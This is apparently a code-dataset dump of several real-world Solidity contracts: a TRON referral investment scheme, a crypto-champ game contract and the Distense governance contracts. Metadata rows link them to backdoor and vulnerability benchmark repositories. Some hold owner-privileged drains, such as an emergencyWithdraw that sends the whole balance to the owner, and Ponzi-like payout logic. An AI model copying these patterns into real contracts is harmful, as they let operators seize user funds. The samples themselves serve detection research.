if(msg.value <= TOP_AMOUNTS[TOP_AMOUNTS.length-1]) return;
uint i = TOP_INVESTORS.length-2;
while(true){
if(msg.value>TOP_AMOUNTS[i]){
if(TOP_INVESTORS[i]!=address(0)){
TOP_INVESTORS[i+1] = TOP_INVESTORS[i];
TOP_AMOUNTS[i+1] = TOP_AMOUNTS[i];
}
}else{
TOP_INVESTORS[i+1] = msg.sender;
TOP_AMOUNTS[i+1] = msg.value;
break;
}
if(i==0){
TOP_INVESTORS[i] = msg.sender;
TOP_AMOUNTS[i] = msg.value;
break;
}
i--;
}
}
//---------------end of private functions---------------//
//////////////////////////////////////////////////////////
function register(address payable referrer) private {
require(block.timestamp > launchTime, "Not launched");
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(referrer != address(0) && users[referrer].deposits.length>0 && referrer != msg.sender, "Invalid referrer");
users[msg.sender].referrer = referrer;
users[msg.sender].checkpoint = uint32(block.timestamp);
totalUsers += 1;
countLeadership();
emit NewUser(msg.sender, users[msg.sender].referrer, msg.value);
}
function deposit(address payable referrer) external payable {
require(refundAddress!=address(0), "Refund address not set");
require(msg.value >= 200 trx && msg.value <= 1e7 trx, "invalid amount");
if(users[msg.sender].deposits.length==0) register(referrer);
User storage user = users[msg.sender];
user.deposits.push(Deposit(uint64(msg.value),0));
refundAddress.transfer(msg.value / 10);
payLeadership(msg.value);
payTopInvestors();
resetDailyStats();
checkBalance += msg.value;
updateTopInvestors();
totalSystemInvested += msg.value;
payAdminOnMaxDep(msg.value);
token.transferFrom(tokenBank, msg.sender, msg.value*5);
emit NewDeposit(msg.sender, msg.value);
}
function depositLionTrade() external payable {
require(msg.value >= MIN_TRADE && msg.value <= 1e7 trx, "invalid amount");
users[msg.sender].totalLionTrade += uint64(msg.value);
totalSystemLionTrade += msg.value;
payAdminOnTradeDep(msg.value);
if(users[msg.sender].referrer!=address(0)){
users[users[msg.sender].referrer].totalRefBonus += uint64(msg.value * 5 / 100);
LION_TRADE.transfer(msg.value*83/100);
users[msg.sender].referrer.transfer(msg.value * 5 / 100);
}else{
LION_TRADE.transfer(msg.value*88/100);
}
resetDailyStats();
emit NewLionTradeDeposit(msg.sender, msg.value, users[msg.sender].totalLionTrade);
}
function reActivate() external onlyRegisterd payable {
require(users[msg.sender].reActivateAmount > 0 && msg.value >= users[msg.sender].reActivateAmount && msg.value <= 1e7 trx, "invalid amount");
User storage user = users[msg.sender];
user.totalReActivateAmount += uint64(msg.value);
user.reActivateAmount = 0;
totalSystemInvested += msg.value;
refundAddress.transfer(msg.value / 5);
payAdminOnReDep(msg.value);
resetDailyStats();
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() external onlyRegisterd onceADay {
require(users[msg.sender].reActivateAmount == 0, "redeposit");
User storage user = users[msg.sender];
resetDailyStats();
uint dividend = computeUserDividends(msg.sender);
require(dividend>=MIN_DIVIDEND,"MIN_DIVIDEND");
user.checkpoint = uint32(block.timestamp);
user.reActivateAmount = uint64(dividend * REDEPOSIT / PERCENTS_DIVIDER);
if (address(this).balance < dividend) {
dividend = address(this).balance;
}
msg.sender.transfer(dividend);
payAdminOnWithdrawal(dividend);
emit Withdrawn(msg.sender, dividend);
}
function resetDailyStats() public {
if(block.timestamp.sub(dailyCheckpoint) > DAY){
balances.push(checkBalance);
intervals.push(block.timestamp);
checkBalance = 0;
dailyCheckpoint=block.timestamp;
}
}
function setRefundAddress(address payable _addr) public onlyOwner{
require(isContract(_addr), "Only contract");
refundAddress = _addr;
}
function setDevAddress(address payable _addr) public onlyOwner{
devAddress = _addr;
}
function setMarketingAddress(address payable _addr) public onlyOwner{
marketingAddress = _addr;
}
function setCommunityAddress(address payable _addr) public onlyOwner{
communityWallet = _addr;
}
function setAdminAddress(address payable _addr) public onlyOwner{
adminWallet = _addr;
}
function setTokenBank(address _addr) public onlyOwner{
tokenBank = _addr;
}
function getTotalDeposit(address _addr) public view returns(uint,uint){
uint deposits=0;
uint withdrawn=0;
for(uint i=0; i<users[_addr].deposits.length;i++){
deposits+=users[_addr].deposits[i].amount;
withdrawn+=users[_addr].deposits[i].withdrawn;
}
return (deposits,withdrawn);
}
function getDepositDividend(uint _amount, uint _checkpoint) public view returns (uint){
uint mined = 0;
uint checkpoint = _checkpoint;
for(uint j= 0; j<intervals.length; j++){
if(checkpoint < intervals[j]){
mined +=
_amount *
getRate(balances[j]) *
intervals[j].sub(checkpoint);
checkpoint = intervals[j];
}else{
continue;
}
}
mined +=
_amount *
getRate(checkBalance) *
block.timestamp.sub(checkpoint);
return mined / DAY / PERCENTS_DIVIDER;
}
function getRate(uint _amount) public pure returns(uint){
if(_amount<=50000 trx) return 20;//1+1%
if(_amount<=200000 trx) return 30;
if(_amount<=300000 trx) return 40;
if(_amount<=400000 trx) return 50;
if(_amount<=500000 trx) return 60;
if(_amount<=600000 trx) return 70;
if(_amount<=700000 trx) return 80;
if(_amount<=800000 trx) return 90;
if(_amount<=1000000 trx) return 100;
return 110;
}
function getUserDividend(address _addr) public view returns(uint){
if(block.timestamp < launchTime+5 days) return 0;
uint dividend=0;
uint totalDividend=0;
User storage user=users[_addr];
(uint totalDeposit,) = getTotalDeposit(_addr);
for(uint i=0; i<user.deposits.length;i++){
Deposit storage dep = user.deposits[i];
uint pureWithdrawn = dep.withdrawn*30/100;
if(pureWithdrawn>=dep.amount*MAX_PROFIT/PERCENTS_DIVIDER) continue;
dividend = getDepositDividend(dep.amount, user.checkpoint);
if(dividend+pureWithdrawn>dep.amount*MAX_PROFIT/PERCENTS_DIVIDER)
dividend=(dep.amount*MAX_PROFIT/PERCENTS_DIVIDER).sub(pureWithdrawn);
if(totalDividend+dividend>=totalDeposit*DIV_STOP/PERCENTS_DIVIDER){
totalDividend = totalDeposit*DIV_STOP/PERCENTS_DIVIDER;
return totalDividend;
}else{
totalDividend+=dividend;
}
}
return totalDividend;
}
function getData(address _addr) external view returns (uint[] memory data){
User memory u = users[_addr];
uint[] memory d = new uint[](17);
(uint deposits, uint withdrawn) = getTotalDeposit(_addr);
d[0] = deposits;
d[1] = deposits;
d[2] = withdrawn;
d[3] = u.totalRefBonus;
d[4] = u.totalRefBonus;
d[5] = u.reActivateAmount;
d[6] = getUserDividend(_addr);
d[7] = u.totalLionTrade;
d[8] = u.checkpoint;
d[9] = getRate(checkBalance);
d[10] = u.deposits.length>0 ? 1 : 0;
d[11] = totalUsers;
d[12] = totalSystemInvested;
d[13] = totalSystemLionTrade;
d[14] = u.totalRefBonus;
d[15] = dailyCheckpoint;
d[16] = checkBalance;
return d;
}
function getUplines(address _addr) external view returns(uint40[4] memory){
return users[_addr].uplines;
}
function getTopInvestors() external view returns(address payable[5] memory addresses, uint[5] memory amounts){
addresses= TOP_INVESTORS;
amounts = TOP_AMOUNTS;
}
function getReferrer(address _addr) external view returns(address){
return users[_addr].referrer;
}
function contractBalance() public view returns (uint){
return address(this).balance;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly {size := extcodesize(addr)}
return size > 0;
}
}
interface ITRC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
}
| 290,473 | 10,611 |
7cfdf3ccedd1d9bf17069254b808d11f0301abbab4404fb71de43ff3966b651d
| 20,377 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x689fb61845488297dfe7586e5f7956475955d2dc.sol
| 4,836 | 18,516 |
pragma solidity 0.4.24;
contract Controller{
function getChampReward(uint _position) public view returns(uint);
function changeChampsName(uint _champId, string _name, address _msgsender) external;
function withdrawChamp(uint _id, address _msgsender) external;
function attack(uint _champId, uint _targetId, address _msgsender) external;
function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) external;
function cancelTokenSale(uint _id, address _msgsender, bool _isTokenChamp) public;
function giveToken(address _to, uint _id, address _msgsender, bool _isTokenChamp) external;
function setTokenForSale(uint _id, uint _price, address _msgsender, bool _isTokenChamp) external;
function getTokenURIs(uint _id, bool _isTokenChamp) public pure returns(string);
function takeOffItem(uint _champId, uint8 _type, address _msgsender) public;
function putOn(uint _champId, uint _itemId, address _msgsender) external;
function forgeItems(uint _parentItemID, uint _childItemID, address _msgsender) external;
}
library SafeMath {
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
/// @author Patrik Mojzis
contract MyCryptoChampCore {
using SafeMath for uint;
struct Champ {
uint id; //same as position in Champ[]
uint attackPower;
uint defencePower;
uint cooldownTime; //how long does it take to be able attack again
uint readyTime; //if is smaller than block.timestamp champ is ready to fight
uint winCount;
uint lossCount;
uint position; //subtract 1 and you get position in leaderboard[]
uint price; //sale price
uint withdrawCooldown;
uint eq_sword;
uint eq_shield;
uint eq_helmet;
bool forSale; //is champ for sale?
}
struct AddressInfo {
uint withdrawal;
uint champsCount;
uint itemsCount;
string name;
}
//Item struct
struct Item {
uint id;
uint8 itemType; // 1 - Sword | 2 - Shield | 3 - Helmet
uint8 itemRarity; // 1 - Common | 2 - Uncommon | 3 - Rare | 4 - Epic | 5 - Legendery | 6 - Forged
uint attackPower;
uint defencePower;
uint cooldownReduction;
uint price;
uint onChampId;
bool onChamp;
bool forSale; //is item for sale?
}
Champ[] public champs;
Item[] public items;
mapping (uint => uint) public leaderboard;
mapping (address => bool) private trusted;
mapping (address => AddressInfo) public addressInfo;
mapping (bool => mapping(address => mapping (address => bool))) public tokenOperatorApprovals;
mapping (bool => mapping(uint => address)) public tokenApprovals;
mapping (bool => mapping(uint => address)) public tokenToOwner;
mapping (uint => string) public champToName;
mapping (bool => uint) public tokensForSaleCount;
uint public pendingWithdrawal = 0;
address private contractOwner;
Controller internal controller;
constructor () public
{
trusted[msg.sender] = true;
contractOwner = msg.sender;
}
modifier onlyTrusted(){
require(trusted[msg.sender]);
_;
}
modifier isPaid(uint _price)
{
require(msg.value >= _price);
_;
}
modifier onlyNotOwnerOfItem(uint _itemId) {
require(_itemId != 0);
require(msg.sender != tokenToOwner[false][_itemId]);
_;
}
modifier isItemForSale(uint _id){
require(items[_id].forSale);
_;
}
modifier onlyNotOwnerOfChamp(uint _champId)
{
require(msg.sender != tokenToOwner[true][_champId]);
_;
}
modifier isChampForSale(uint _id)
{
require(champs[_id].forSale);
_;
}
function loadController(address _address) external onlyTrusted {
controller = Controller(_address);
}
function setTrusted(address _address, bool _trusted) external onlyTrusted {
trusted[_address] = _trusted;
}
function transferOwnership(address newOwner) public onlyTrusted {
require(newOwner != address(0));
contractOwner = newOwner;
}
function _addWithdrawal(address _address, uint _amount) private
{
addressInfo[_address].withdrawal += _amount;
pendingWithdrawal += _amount;
}
/// @notice Distribute input funds between contract owner and players
function _distributeNewSaleInput(address _affiliateAddress) private
{
//contract owner
_addWithdrawal(contractOwner, ((msg.value / 100) * 60)); // 60%
//affiliate
//checks if _affiliateAddress is set & if affiliate address is not buying player
if(_affiliateAddress != address(0) && _affiliateAddress != msg.sender){
_addWithdrawal(_affiliateAddress, ((msg.value / 100) * 25)); //provision is 25%
}
}
function addWithdrawal(address _address, uint _amount) public onlyTrusted
{
_addWithdrawal(_address, _amount);
}
function clearTokenApproval(address _from, uint _tokenId, bool _isTokenChamp) public onlyTrusted
{
require(tokenToOwner[_isTokenChamp][_tokenId] == _from);
if (tokenApprovals[_isTokenChamp][_tokenId] != address(0)) {
tokenApprovals[_isTokenChamp][_tokenId] = address(0);
}
}
function emergencyWithdraw() external onlyTrusted
{
contractOwner.transfer(address(this).balance);
}
function setChampsName(uint _champId, string _name) public onlyTrusted
{
champToName[_champId] = _name;
}
function setLeaderboard(uint _x, uint _value) public onlyTrusted
{
leaderboard[_x] = _value;
}
function setTokenApproval(uint _id, address _to, bool _isTokenChamp) public onlyTrusted
{
tokenApprovals[_isTokenChamp][_id] = _to;
}
function setTokenOperatorApprovals(address _from, address _to, bool _approved, bool _isTokenChamp) public onlyTrusted
{
tokenOperatorApprovals[_isTokenChamp][_from][_to] = _approved;
}
function setTokenToOwner(uint _id, address _owner, bool _isTokenChamp) public onlyTrusted
{
tokenToOwner[_isTokenChamp][_id] = _owner;
}
function setTokensForSaleCount(uint _value, bool _isTokenChamp) public onlyTrusted
{
tokensForSaleCount[_isTokenChamp] = _value;
}
function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) public onlyTrusted
{
controller.transferToken(_from, _to, _id, _isTokenChamp);
}
function updateAddressInfo(address _address, uint _withdrawal, bool _updatePendingWithdrawal, uint _champsCount, bool _updateChampsCount, uint _itemsCount, bool _updateItemsCount, string _name, bool _updateName) public onlyTrusted {
AddressInfo storage ai = addressInfo[_address];
if(_updatePendingWithdrawal){ ai.withdrawal = _withdrawal; }
if(_updateChampsCount){ ai.champsCount = _champsCount; }
if(_updateItemsCount){ ai.itemsCount = _itemsCount; }
if(_updateName){ ai.name = _name; }
}
function newChamp(uint _attackPower,
uint _defencePower,
uint _cooldownTime,
uint _winCount,
uint _lossCount,
uint _position,
uint _price,
uint _eq_sword,
uint _eq_shield,
uint _eq_helmet,
bool _forSale,
address _owner) public onlyTrusted returns (uint){
Champ memory champ = Champ({
id: 0,
attackPower: 0, //CompilerError: Stack too deep, try removing local variables.
defencePower: _defencePower,
cooldownTime: _cooldownTime,
readyTime: 0,
winCount: _winCount,
lossCount: _lossCount,
position: _position,
price: _price,
withdrawCooldown: 0,
eq_sword: _eq_sword,
eq_shield: _eq_shield,
eq_helmet: _eq_helmet,
forSale: _forSale
});
champ.attackPower = _attackPower;
uint id = champs.push(champ) - 1;
champs[id].id = id;
leaderboard[_position] = id;
addressInfo[_owner].champsCount++;
tokenToOwner[true][id] = _owner;
if(_forSale){
tokensForSaleCount[true]++;
}
return id;
}
function newItem(uint8 _itemType,
uint8 _itemRarity,
uint _attackPower,
uint _defencePower,
uint _cooldownReduction,
uint _price,
uint _onChampId,
bool _onChamp,
bool _forSale,
address _owner) public onlyTrusted returns (uint)
{
//create that struct
Item memory item = Item({
id: 0,
itemType: _itemType,
itemRarity: _itemRarity,
attackPower: _attackPower,
defencePower: _defencePower,
cooldownReduction: _cooldownReduction,
price: _price,
onChampId: _onChampId,
onChamp: _onChamp,
forSale: _forSale
});
uint id = items.push(item) - 1;
items[id].id = id;
addressInfo[_owner].itemsCount++;
tokenToOwner[false][id] = _owner;
if(_forSale){
tokensForSaleCount[false]++;
}
return id;
}
function updateChamp(uint _champId,
uint _attackPower,
uint _defencePower,
uint _cooldownTime,
uint _readyTime,
uint _winCount,
uint _lossCount,
uint _position,
uint _price,
uint _withdrawCooldown,
uint _eq_sword,
uint _eq_shield,
uint _eq_helmet,
bool _forSale) public onlyTrusted {
Champ storage champ = champs[_champId];
if(champ.attackPower != _attackPower){champ.attackPower = _attackPower;}
if(champ.defencePower != _defencePower){champ.defencePower = _defencePower;}
if(champ.cooldownTime != _cooldownTime){champ.cooldownTime = _cooldownTime;}
if(champ.readyTime != _readyTime){champ.readyTime = _readyTime;}
if(champ.winCount != _winCount){champ.winCount = _winCount;}
if(champ.lossCount != _lossCount){champ.lossCount = _lossCount;}
if(champ.position != _position){
champ.position = _position;
leaderboard[_position] = _champId;
}
if(champ.price != _price){champ.price = _price;}
if(champ.withdrawCooldown != _withdrawCooldown){champ.withdrawCooldown = _withdrawCooldown;}
if(champ.eq_sword != _eq_sword){champ.eq_sword = _eq_sword;}
if(champ.eq_shield != _eq_shield){champ.eq_shield = _eq_shield;}
if(champ.eq_helmet != _eq_helmet){champ.eq_helmet = _eq_helmet;}
if(champ.forSale != _forSale){
champ.forSale = _forSale;
if(_forSale){
tokensForSaleCount[true]++;
}else{
tokensForSaleCount[true]--;
}
}
}
function updateItem(uint _id,
uint8 _itemType,
uint8 _itemRarity,
uint _attackPower,
uint _defencePower,
uint _cooldownReduction,
uint _price,
uint _onChampId,
bool _onChamp,
bool _forSale) public onlyTrusted
{
Item storage item = items[_id];
if(item.itemType != _itemType){item.itemType = _itemType;}
if(item.itemRarity != _itemRarity){item.itemRarity = _itemRarity;}
if(item.attackPower != _attackPower){item.attackPower = _attackPower;}
if(item.defencePower != _defencePower){item.defencePower = _defencePower;}
if(item.cooldownReduction != _cooldownReduction){item.cooldownReduction = _cooldownReduction;}
if(item.price != _price){item.price = _price;}
if(item.onChampId != _onChampId){item.onChampId = _onChampId;}
if(item.onChamp != _onChamp){item.onChamp = _onChamp;}
if(item.forSale != _forSale){
item.forSale = _forSale;
if(_forSale){
tokensForSaleCount[false]++;
}else{
tokensForSaleCount[false]--;
}
}
}
function buyItem(uint _id, address _affiliateAddress) external payable
onlyNotOwnerOfItem(_id)
isItemForSale(_id)
isPaid(items[_id].price)
{
if(tokenToOwner[false][_id] == address(this)){
_distributeNewSaleInput(_affiliateAddress);
}else{
_addWithdrawal(tokenToOwner[false][_id], msg.value);
}
controller.transferToken(tokenToOwner[false][_id], msg.sender, _id, false);
}
function buyChamp(uint _id, address _affiliateAddress) external payable
onlyNotOwnerOfChamp(_id)
isChampForSale(_id)
isPaid(champs[_id].price)
{
if(tokenToOwner[true][_id] == address(this)){
_distributeNewSaleInput(_affiliateAddress);
}else{
_addWithdrawal(tokenToOwner[true][_id], msg.value);
}
controller.transferToken(tokenToOwner[true][_id], msg.sender, _id, true);
}
function changePlayersName(string _name) external {
addressInfo[msg.sender].name = _name;
}
function withdrawToAddress(address _address) external
{
address playerAddress = _address;
if(playerAddress == address(0)){ playerAddress = msg.sender; }
uint share = addressInfo[playerAddress].withdrawal; //gets pending funds
require(share > 0); //is it more than 0?
addressInfo[playerAddress].withdrawal = 0; //set player's withdrawal pendings to 0
pendingWithdrawal = pendingWithdrawal.sub(share); //subtract share from total pendings
playerAddress.transfer(share); //transfer
}
function getChampsByOwner(address _owner) external view returns(uint256[]) {
uint256[] memory result = new uint256[](addressInfo[_owner].champsCount);
uint256 counter = 0;
for (uint256 i = 0; i < champs.length; i++) {
if (tokenToOwner[true][i] == _owner) {
result[counter] = i;
counter++;
}
}
return result;
}
function getTokensForSale(bool _isTokenChamp) view external returns(uint256[]){
uint256[] memory result = new uint256[](tokensForSaleCount[_isTokenChamp]);
if(tokensForSaleCount[_isTokenChamp] > 0){
uint256 counter = 0;
if(_isTokenChamp){
for (uint256 i = 0; i < champs.length; i++) {
if (champs[i].forSale == true) {
result[counter]=i;
counter++;
}
}
}else{
for (uint256 n = 0; n < items.length; n++) {
if (items[n].forSale == true) {
result[counter]=n;
counter++;
}
}
}
}
return result;
}
function getChampStats(uint256 _champId) public view returns(uint256,uint256,uint256){
Champ storage champ = champs[_champId];
Item storage sword = items[champ.eq_sword];
Item storage shield = items[champ.eq_shield];
Item storage helmet = items[champ.eq_helmet];
uint totalAttackPower = champ.attackPower + sword.attackPower + shield.attackPower + helmet.attackPower; //Gets champs AP
uint totalDefencePower = champ.defencePower + sword.defencePower + shield.defencePower + helmet.defencePower; //Gets champs DP
uint totalCooldownReduction = sword.cooldownReduction + shield.cooldownReduction + helmet.cooldownReduction; //Gets CR
return (totalAttackPower, totalDefencePower, totalCooldownReduction);
}
function getItemsByOwner(address _owner) external view returns(uint256[]) {
uint256[] memory result = new uint256[](addressInfo[_owner].itemsCount);
uint256 counter = 0;
for (uint256 i = 0; i < items.length; i++) {
if (tokenToOwner[false][i] == _owner) {
result[counter] = i;
counter++;
}
}
return result;
}
function getTokenCount(bool _isTokenChamp) external view returns(uint)
{
if(_isTokenChamp){
return champs.length - addressInfo[address(0)].champsCount;
}else{
return items.length - 1 - addressInfo[address(0)].itemsCount;
}
}
function getTokenURIs(uint _tokenId, bool _isTokenChamp) public view returns(string)
{
return controller.getTokenURIs(_tokenId,_isTokenChamp);
}
function onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp) external view returns(bool)
{
if(!_isTokenChamp){
require(_id != 0);
}
address owner = tokenToOwner[_isTokenChamp][_id];
return(_msgsender == owner || _msgsender == tokenApprovals[_isTokenChamp][_id] || tokenOperatorApprovals[_isTokenChamp][owner][_msgsender]);
}
function attack(uint _champId, uint _targetId) external{
controller.attack(_champId, _targetId, msg.sender);
}
function cancelTokenSale(uint _id, bool _isTokenChamp) public{
controller.cancelTokenSale(_id, msg.sender, _isTokenChamp);
}
function changeChampsName(uint _champId, string _name) external{
controller.changeChampsName(_champId, _name, msg.sender);
}
function forgeItems(uint _parentItemID, uint _childItemID) external{
controller.forgeItems(_parentItemID, _childItemID, msg.sender);
}
function giveToken(address _to, uint _champId, bool _isTokenChamp) external{
controller.giveToken(_to, _champId, msg.sender, _isTokenChamp);
}
function setTokenForSale(uint _id, uint _price, bool _isTokenChamp) external{
controller.setTokenForSale(_id, _price, msg.sender, _isTokenChamp);
}
function putOn(uint _champId, uint _itemId) external{
controller.putOn(_champId, _itemId, msg.sender);
}
function takeOffItem(uint _champId, uint8 _type) public{
controller.takeOffItem(_champId, _type, msg.sender);
}
function withdrawChamp(uint _id) external{
controller.withdrawChamp(_id, msg.sender);
}
function getChampReward(uint _position) public view returns(uint){
return controller.getChampReward(_position);
}
}
| 144,826 | 10,612 |
e11533393f9f27407c0b4b297801a9c116a68c7e1e95cb13a757e64f6b0c6425
| 25,489 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x1dbb1a04a826f803f526296058678006792ebc0f.sol
| 6,216 | 24,657 |
pragma solidity ^0.5.8;
contract Approvable {
mapping(address => bool) public approved;
constructor () public {
approved[msg.sender] = true;
}
function approve(address _address) public onlyApproved {
require(_address != address(0));
approved[_address] = true;
}
function revokeApproval(address _address) public onlyApproved {
require(_address != address(0));
approved[_address] = false;
}
modifier onlyApproved() {
require(approved[msg.sender]);
_;
}
}
library SharedStructs {
struct DIDHolder {
uint256 balance;
uint256 netContributionsDID;
uint256 DIDHoldersIndex;
uint256 weiInvested;
uint256 tasksCompleted;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function percent(uint numerator, uint denominator, uint precision) public pure
returns(uint quotient) {
uint _numerator = numerator * 10 ** (precision + 1);
uint _quotient = ((_numerator / denominator) + 5) / 10;
return _quotient;
}
}
contract Distense is Approvable {
using SafeMath for uint256;
address public DIDTokenAddress;
bytes32[] public parameterTitles;
struct Parameter {
bytes32 title;
uint256 value;
mapping(address => Vote) votes;
}
struct Vote {
address voter;
uint256 lastVoted;
}
mapping(bytes32 => Parameter) public parameters;
Parameter public votingIntervalParameter;
bytes32 public votingIntervalParameterTitle = 'votingInterval';
Parameter public pctDIDToDetermineTaskRewardParameter;
bytes32 public pctDIDToDetermineTaskRewardParameterTitle = 'pctDIDToDetermineTaskReward';
Parameter public pctDIDRequiredToMergePullRequest;
bytes32 public pctDIDRequiredToMergePullRequestTitle = 'pctDIDRequiredToMergePullRequest';
Parameter public maxRewardParameter;
bytes32 public maxRewardParameterTitle = 'maxReward';
Parameter public numDIDRequiredToApproveVotePullRequestParameter;
bytes32 public numDIDRequiredToApproveVotePullRequestParameterTitle = 'numDIDReqApproveVotePullRequest';
Parameter public numDIDRequiredToTaskRewardVoteParameter;
bytes32 public numDIDRequiredToTaskRewardVoteParameterTitle = 'numDIDRequiredToTaskRewardVote';
Parameter public minNumberOfTaskRewardVotersParameter;
bytes32 public minNumberOfTaskRewardVotersParameterTitle = 'minNumberOfTaskRewardVoters';
Parameter public numDIDRequiredToAddTaskParameter;
bytes32 public numDIDRequiredToAddTaskParameterTitle = 'numDIDRequiredToAddTask';
Parameter public defaultRewardParameter;
bytes32 public defaultRewardParameterTitle = 'defaultReward';
Parameter public didPerEtherParameter;
bytes32 public didPerEtherParameterTitle = 'didPerEther';
Parameter public votingPowerLimitParameter;
bytes32 public votingPowerLimitParameterTitle = 'votingPowerLimit';
event LogParameterValueUpdate(bytes32 title, uint256 value);
constructor () public {
pctDIDToDetermineTaskRewardParameter = Parameter({
title : pctDIDToDetermineTaskRewardParameterTitle,
value: 15 * 1 ether
});
parameters[pctDIDToDetermineTaskRewardParameterTitle] = pctDIDToDetermineTaskRewardParameter;
parameterTitles.push(pctDIDToDetermineTaskRewardParameterTitle);
pctDIDRequiredToMergePullRequest = Parameter({
title : pctDIDRequiredToMergePullRequestTitle,
value: 10 * 1 ether
});
parameters[pctDIDRequiredToMergePullRequestTitle] = pctDIDRequiredToMergePullRequest;
parameterTitles.push(pctDIDRequiredToMergePullRequestTitle);
votingIntervalParameter = Parameter({
title : votingIntervalParameterTitle,
value: 1296000 * 1 ether
});
parameters[votingIntervalParameterTitle] = votingIntervalParameter;
parameterTitles.push(votingIntervalParameterTitle);
maxRewardParameter = Parameter({
title : maxRewardParameterTitle,
value: 2000 * 1 ether
});
parameters[maxRewardParameterTitle] = maxRewardParameter;
parameterTitles.push(maxRewardParameterTitle);
numDIDRequiredToApproveVotePullRequestParameter = Parameter({
title : numDIDRequiredToApproveVotePullRequestParameterTitle,
value: 100 * 1 ether
});
parameters[numDIDRequiredToApproveVotePullRequestParameterTitle] = numDIDRequiredToApproveVotePullRequestParameter;
parameterTitles.push(numDIDRequiredToApproveVotePullRequestParameterTitle);
numDIDRequiredToTaskRewardVoteParameter = Parameter({
title : numDIDRequiredToTaskRewardVoteParameterTitle,
value: 100 * 1 ether
});
parameters[numDIDRequiredToTaskRewardVoteParameterTitle] = numDIDRequiredToTaskRewardVoteParameter;
parameterTitles.push(numDIDRequiredToTaskRewardVoteParameterTitle);
minNumberOfTaskRewardVotersParameter = Parameter({
title : minNumberOfTaskRewardVotersParameterTitle,
value: 7 * 1 ether
});
parameters[minNumberOfTaskRewardVotersParameterTitle] = minNumberOfTaskRewardVotersParameter;
parameterTitles.push(minNumberOfTaskRewardVotersParameterTitle);
numDIDRequiredToAddTaskParameter = Parameter({
title : numDIDRequiredToAddTaskParameterTitle,
value: 100 * 1 ether
});
parameters[numDIDRequiredToAddTaskParameterTitle] = numDIDRequiredToAddTaskParameter;
parameterTitles.push(numDIDRequiredToAddTaskParameterTitle);
defaultRewardParameter = Parameter({
title : defaultRewardParameterTitle,
value: 100 * 1 ether
});
parameters[defaultRewardParameterTitle] = defaultRewardParameter;
parameterTitles.push(defaultRewardParameterTitle);
didPerEtherParameter = Parameter({
title : didPerEtherParameterTitle,
value: 200 * 1 ether
});
parameters[didPerEtherParameterTitle] = didPerEtherParameter;
parameterTitles.push(didPerEtherParameterTitle);
votingPowerLimitParameter = Parameter({
title : votingPowerLimitParameterTitle,
value: 20 * 1 ether
});
parameters[votingPowerLimitParameterTitle] = votingPowerLimitParameter;
parameterTitles.push(votingPowerLimitParameterTitle);
}
function getParameterValueByTitle(bytes32 _title) public view returns (uint256) {
return parameters[_title].value;
}
function voteOnParameter(bytes32 _title, int256 _voteValue)
public
votingIntervalReached(msg.sender, _title)
returns
(uint256) {
DIDToken didToken = DIDToken(DIDTokenAddress);
uint256 votersDIDPercent = didToken.pctDIDOwned(msg.sender);
require(votersDIDPercent > 0);
uint256 currentValue = getParameterValueByTitle(_title);
uint256 votingPowerLimit = getParameterValueByTitle(votingPowerLimitParameterTitle);
uint256 limitedVotingPower = votersDIDPercent > votingPowerLimit ? votingPowerLimit : votersDIDPercent;
uint256 update;
if (_voteValue == 1 ||
_voteValue == - 1 ||
_voteValue > int(limitedVotingPower) ||
_voteValue < - int(limitedVotingPower)) {
update = (limitedVotingPower * currentValue) / (100 * 1 ether);
} else if (_voteValue > 0) {
update = SafeMath.div((uint(_voteValue) * currentValue), (1 ether * 100));
} else if (_voteValue < 0) {
int256 adjustedVoteValue = (-_voteValue);
update = uint((adjustedVoteValue * int(currentValue))) / (100 * 1 ether);
} else revert();
if (_voteValue > 0)
currentValue = SafeMath.add(currentValue, update);
else
currentValue = SafeMath.sub(currentValue, update);
updateParameterValue(_title, currentValue);
updateLastVotedOnParameter(_title, msg.sender);
emit LogParameterValueUpdate(_title, currentValue);
return currentValue;
}
function getParameterByTitle(bytes32 _title) public view returns (bytes32, uint256) {
Parameter memory param = parameters[_title];
return (param.title, param.value);
}
function getNumParameters() public view returns (uint256) {
return parameterTitles.length;
}
function updateParameterValue(bytes32 _title, uint256 _newValue) internal returns (uint256) {
Parameter storage parameter = parameters[_title];
parameter.value = _newValue;
return parameter.value;
}
function updateLastVotedOnParameter(bytes32 _title, address voter) internal returns (bool) {
Parameter storage parameter = parameters[_title];
parameter.votes[voter].lastVoted = now;
}
function setDIDTokenAddress(address _didTokenAddress) public onlyApproved {
DIDTokenAddress = _didTokenAddress;
}
modifier votingIntervalReached(address _voter, bytes32 _title) {
Parameter storage parameter = parameters[_title];
uint256 lastVotedOnParameter = parameter.votes[_voter].lastVoted * 1 ether;
require((now * 1 ether) >= lastVotedOnParameter + getParameterValueByTitle(votingIntervalParameterTitle));
_;
}
}
contract DIDToken is Approvable {
using SafeMath for uint256;
event LogIssueDID(address indexed to, uint256 numDID);
event LogDecrementDID(address indexed to, uint256 numDID);
event LogExchangeDIDForEther(address indexed to, uint256 numDID);
event LogInvestEtherForDID(address indexed to, uint256 numWei);
address[] public DIDHoldersArray;
address public PullRequestsAddress;
address public DistenseAddress;
